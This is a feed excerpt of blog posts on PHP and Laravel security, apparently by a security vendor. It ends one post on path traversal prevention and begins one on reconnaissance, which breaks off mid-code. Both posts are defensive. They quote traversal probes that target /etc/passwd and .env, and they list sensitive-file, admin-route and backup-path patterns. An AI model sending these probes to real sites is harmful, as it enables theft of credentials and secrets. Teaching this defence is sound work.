&lt;span class="nv"&gt;$content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;file_get_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;storage_path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filename&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And Laravel's response helpers pass paths directly to PHP  you must validate before calling them:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Validate before passing to response()&lt;/span&gt;
&lt;span class="nv"&gt;$baseDir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;realpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;storage_path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'app/files'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="nv"&gt;$requestedPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;realpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;storage_path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'app/files/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$filename&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$requestedPath&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$requestedPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$baseDir&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="no"&gt;DIRECTORY_SEPARATOR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$requestedPath&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Storage facade helps reduce common mistakes, but it does not remove the need to validate and authorize user-controlled paths. Raw PHP file functions require the same care.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Path Traversal Prevention Checklist&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For plain PHP:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Never concatenate user input directly into file paths&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;realpath()&lt;/code&gt; to resolve paths and validate they stay within the intended base directory&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;DIRECTORY_SEPARATOR&lt;/code&gt; in path comparisons for cross-platform safety&lt;/li&gt;
&lt;li&gt;Use the whitelist approach whenever you have a known set of files&lt;/li&gt;
&lt;li&gt;Configure &lt;code&gt;open_basedir&lt;/code&gt; in php.ini as a server-level safety net&lt;/li&gt;
&lt;li&gt;Never use &lt;code&gt;include()&lt;/code&gt; or &lt;code&gt;require()&lt;/code&gt; with user-controlled input&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;basename()&lt;/code&gt; as an additional safeguard for flat file structures — not as a replacement for proper path validation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For Laravel&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use the Storage facade for file operations  it provides a safer abstraction&lt;/li&gt;
&lt;li&gt;Validate paths with &lt;code&gt;realpath()&lt;/code&gt; before passing to &lt;code&gt;response()-&amp;gt;file()&lt;/code&gt; or &lt;code&gt;response()-&amp;gt;download()&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Never pass user input directly to &lt;code&gt;storage_path()&lt;/code&gt;, &lt;code&gt;public_path()&lt;/code&gt;, or &lt;code&gt;base_path()&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Validate and authorize user-controlled paths even when using the Storage facade&lt;/li&gt;
&lt;li&gt;Use Laravel's authorization layer to control which users can access which files&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Where Detection Fits&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Path traversal attempts produce distinctive request patterns. Requests containing &lt;code&gt;../&lt;/code&gt; sequences, URL-encoded traversal strings like &lt;code&gt;%2e%2e&lt;/code&gt;, repeated requests probing different directory depths, and requests targeting known sensitive file locations like &lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;passwd&lt;/code&gt;, and &lt;code&gt;id_rsa&lt;/code&gt; are all behavioral signals that distinguish automated scanning tools from legitimate users.&lt;/p&gt;

&lt;p&gt;These patterns appear in your request logs before a successful traversal ever occurs. A security layer that monitors for these patterns gives you visibility into probing activity before it turns into a breach.&lt;/p&gt;

&lt;p&gt;Prevention stops the traversal. Detection tells you someone is looking for one.&lt;/p&gt;

&lt;p&gt;Both layers together.&lt;/p&gt;

&lt;p&gt;"To put this in concrete terms &lt;strong&gt;Kriosa blocked 306 attacks on a live PHP application in a single week&lt;/strong&gt;  including path traversal attempts where automated scanners were sending &lt;code&gt;../../../etc/passwd&lt;/code&gt; and &lt;code&gt;../../../var/www/.env&lt;/code&gt; in request parameters. These were not targeted attacks. They were automated tools probing every PHP app they could find."&lt;/p&gt;

&lt;p&gt;Try it free: &lt;strong&gt;&lt;a&gt;kriosa.com&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Install it: &lt;strong&gt;composer require kriosa-ai/kriosa-php&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;see documentation for intergration &lt;a href="https://kriosa.com/documentation.php" rel="noopener noreferrer"&gt;kriosa.com/documentation.php&lt;/a&gt;&lt;br&gt;
**&lt;br&gt;
Built for PHP and Laravel developers who want to understand their security - not just outsource it.&lt;br&gt;
Sleep better we're awake - kriosa**&lt;/p&gt;

</description>
      <category>php</category>
      <category>laravel</category>
      <category>cybersecurity</category>
      <category>webdev</category>
    </item>
    <item>
      <title>How Attackers Enumerate Your Laravel App — And What to Hide Before They Map Your Entire Backend</title>
      <dc:creator>Nchiminyi — Founder, Kriosa</dc:creator>
      <pubDate>Tue, 21 Jul 2026 19:00:00 +0000</pubDate>
      <link>https://dev.to/kriosa/how-attackers-enumerate-your-laravel-app-and-what-to-hide-before-they-map-your-entire-backend-161b</link>
      <guid>https://dev.to/kriosa/how-attackers-enumerate-your-laravel-app-and-what-to-hide-before-they-map-your-entire-backend-161b</guid>
      <description>&lt;p&gt;Originally published on medium&lt;br&gt;
Before an attacker exploits your app they study it. Here is what they are looking for and how to stop them finding it.&lt;/p&gt;

&lt;p&gt;This is the sixth article in a series on PHP and Laravel application security.&lt;/p&gt;

&lt;p&gt;So far we have covered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detecting SQL injection attempts in PHP logs&lt;/li&gt;
&lt;li&gt;Why URL encoding blinds most PHP security checks&lt;/li&gt;
&lt;li&gt;The decode bomb problem with unlimited URL decoding&lt;/li&gt;
&lt;li&gt;Why parameterized queries are the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every article in this series follows the same principle: understand the attack before you try to stop it.&lt;/p&gt;

&lt;p&gt;Reconnaissance is no different. And it is the step most developers never think about.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Reconnaissance Actually Is&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Before an attacker exploits your Laravel application they study it.&lt;/p&gt;

&lt;p&gt;They are not guessing blindly. They are systematically collecting information that tells them what framework and version you are running, what routes exist, what errors your app produces, what files are publicly accessible, and where your admin panel lives.&lt;/p&gt;

&lt;p&gt;This phase is called reconnaissance. And most Laravel apps make it embarrassingly easy.&lt;/p&gt;

&lt;p&gt;The attacker does not need to find a vulnerability to do damage at this stage. They just need your app to answer questions it should never be answering.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Attackers Are Looking For&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Debug Mode Left On in Production&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is the single most dangerous information disclosure mistake in Laravel.&lt;/p&gt;

&lt;p&gt;When &lt;code&gt;APP_DEBUG=true&lt;/code&gt; in your production environment, Laravel shows a full stack trace on every error. That stack trace includes your full file system paths, your environment variables, your database connection details, your application code, and every variable in scope at the point of failure.&lt;/p&gt;

&lt;p&gt;An attacker who triggers any error on your application a 404, a validation failure, a missing parameter  gets a complete map of your server.&lt;/p&gt;

&lt;p&gt;Check your production .env file right now:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;APP_DEBUG&lt;/span&gt;=&lt;span class="n"&gt;false&lt;/span&gt;
&lt;span class="n"&gt;APP_ENV&lt;/span&gt;=&lt;span class="n"&gt;production&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These two lines are not optional. They are the minimum baseline for any Laravel app handling real user data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Exposed .env Files&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Your .env file contains your database credentials, API keys, mail server passwords, payment gateway secrets, and application encryption key. It lives in your project root.&lt;/p&gt;

&lt;p&gt;If your web server is misconfigured, this file is publicly accessible:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/.env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker who reads your &lt;code&gt;.env&lt;/code&gt; file may gain access to database credentials, API keys, application secrets, and other sensitive configuration depending on what is stored there.&lt;/p&gt;

&lt;p&gt;This is not theoretical. Automated scanners probe every Laravel site they find for exposed .env files within minutes of the site going live. It is one of the first checks they run automatically.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Exposed .git Directory&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you deployed by cloning a git repository and did not remove the .git directory from your web root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/.git/config
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker may be able to reconstruct your source code from exposed Git objects. Your complete application logic. Your commit history. Every credential that was ever accidentally committed.&lt;/p&gt;

&lt;p&gt;Tools like GitDumper automate this reconstruction entirely. What took a developer months to build can be downloaded in minutes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Framework and Version Fingerprinting&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Default Laravel error pages and responses can reveal framework information if they are not customized. HTTP response headers sometimes include framework and PHP version information. The structure of session cookies, route patterns, and form token names all point to Laravel specifically.&lt;/p&gt;

&lt;p&gt;Default server responses often include:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;X-Powered-By: PHP/8.1.0
Server: Apache/2.4.41
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once an attacker knows your framework and version they know exactly which known vulnerabilities to check, which default misconfigurations are most common, and which attack patterns are most likely to succeed.&lt;/p&gt;

&lt;p&gt;Remove these headers. They are free reconnaissance for anyone watching.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Laravel Packages and Developer Tool Routes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Laravel packages and developer tools can expose routes that reveal application internals:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/telescope    — Laravel Telescope debugger
/horizon      — Laravel Horizon queue dashboard
/_debugbar    — Laravel Debugbar
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If any of these are accessible in production without authentication, an attacker has a window into your queue jobs, database queries, cache operations, mail logs, and exception details.&lt;/p&gt;

&lt;p&gt;These tools are invaluable for development. They are serious vulnerabilities in production if left unprotected.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Verbose Error Messages&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Even with debug mode disabled, careless error handling reveals too much:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This tells an attacker your table name exists&lt;/span&gt;
&lt;span class="c1"&gt;// and gives them information about your schema&lt;/span&gt;
&lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Error querying users table: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A developer who exposes database table names, column names, or file paths in error messages is doing reconnaissance for the attacker.&lt;/p&gt;

&lt;p&gt;The correct approach:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Log everything internally&lt;/span&gt;
    &lt;span class="nc"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Database error: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s1"&gt;'file'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getFile&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
        &lt;span class="s1"&gt;'line'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getLine&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;]);&lt;/span&gt;

    &lt;span class="c1"&gt;// Show nothing useful externally&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Something went wrong. Please try again.'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Log the full error internally. Show nothing externally. The user does not need to know what went wrong technically. The attacker definitely should not know.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7. Predictable Admin Routes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Automated scanners probe for common admin panel locations on every site they find:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/admin
/admin/login
/dashboard
/administrator
/panel
/backend
/manage
/cp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If your admin panel is at one of these locations with no rate limiting, no IP restriction, and no additional authentication layer, it is being probed constantly without you knowing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;8. Directory Listing&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If your web server has directory listing enabled, an attacker can browse your file structure like a file manager:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/storage/
https://yoursite.com/public/uploads/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;They see every file you have uploaded. Every log file. Every temporary file. Every backup your application has ever generated.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;9. Backup Files Left in Public Directories&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Developers sometimes create backup files that end up publicly accessible:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://yoursite.com/index.php.bak
https://yoursite.com/config.php.old
https://yoursite.com/database.sql
https://yoursite.com/backup.zip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Automated scanners check for hundreds of these patterns on every site they probe. A database backup file left in a public directory is a complete data breach waiting to be discovered.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How Attackers Automate This&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Reconnaissance is not done manually by a person sitting at a keyboard.&lt;/p&gt;

&lt;p&gt;Automated tools scan millions of sites continuously:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Nikto&lt;/strong&gt; scans for thousands of known vulnerabilities and misconfigurations&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gobuster&lt;/strong&gt; brute forces directory and file names against wordlists of thousands of common paths&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WhatWeb&lt;/strong&gt; fingerprints web technologies from response headers and page content&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitDumper&lt;/strong&gt; reconstructs source code from exposed Git objects automatically&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These tools run against every IP address they can find. Your site is being scanned whether you know it or not. The question is not whether reconnaissance is happening it is whether your app is giving the scanners useful answers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to Hide — The Complete Checklist&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Laravel configuration:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="c"&gt;# .env — production settings
&lt;/span&gt;&lt;span class="n"&gt;APP_ENV&lt;/span&gt;=&lt;span class="n"&gt;production&lt;/span&gt;
&lt;span class="n"&gt;APP_DEBUG&lt;/span&gt;=&lt;span class="n"&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// config/app.php&lt;/span&gt;
&lt;span class="s1"&gt;'debug'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;env&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'APP_DEBUG'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Restrict developer tool access:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Configure Telescope authorization and ensure the dashboard is restricted to trusted users or IP addresses:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/Providers/TelescopeServiceProvider.php&lt;/span&gt;
&lt;span class="nc"&gt;Gate&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'viewTelescope'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;request&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s1"&gt;'127.0.0.1'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="c1"&gt;// your trusted IP addresses&lt;/span&gt;
    &lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Apply the same principle to Horizon and Debugbar  both should require authentication or IP restriction before any production deployment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Block sensitive files at the web server level:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For Nginx:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="k"&gt;location&lt;/span&gt; &lt;span class="p"&gt;~&lt;/span&gt; &lt;span class="sr"&gt;/\.(env|git|htaccess)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kn"&gt;deny&lt;/span&gt; &lt;span class="s"&gt;all&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;location&lt;/span&gt; &lt;span class="p"&gt;~&lt;/span&gt; &lt;span class="sr"&gt;\.(bak|old|sql|zip|tar|gz)$&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kn"&gt;deny&lt;/span&gt; &lt;span class="s"&gt;all&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For Apache:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nl"&gt;FilesMatch&lt;/span&gt;&lt;span class="sr"&gt; "\.(env|git|bak|old|sql|zip)$"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="nc"&gt;Order&lt;/span&gt; allow,deny
    &lt;span class="nc"&gt;Deny&lt;/span&gt; &lt;span class="ss"&gt;from&lt;/span&gt; &lt;span class="ss"&gt;all&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nl"&gt;FilesMatch&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Remove technology headers:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In php.ini:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="py"&gt;expose_php&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;Off&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For Nginx:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="k"&gt;server_tokens&lt;/span&gt; &lt;span class="no"&gt;off&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For Apache:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="nc"&gt;ServerTokens&lt;/span&gt; Prod
&lt;span class="nc"&gt;ServerSignature&lt;/span&gt; &lt;span class="ss"&gt;Off&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Disable directory listing:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For Nginx:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="k"&gt;autoindex&lt;/span&gt; &lt;span class="no"&gt;off&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For Apache:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="nc"&gt;Options&lt;/span&gt; -Indexes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Custom error pages that reveal nothing:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/Exceptions/Handler.php&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Throwable&lt;/span&gt; &lt;span class="nv"&gt;$exception&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;app&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'production'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
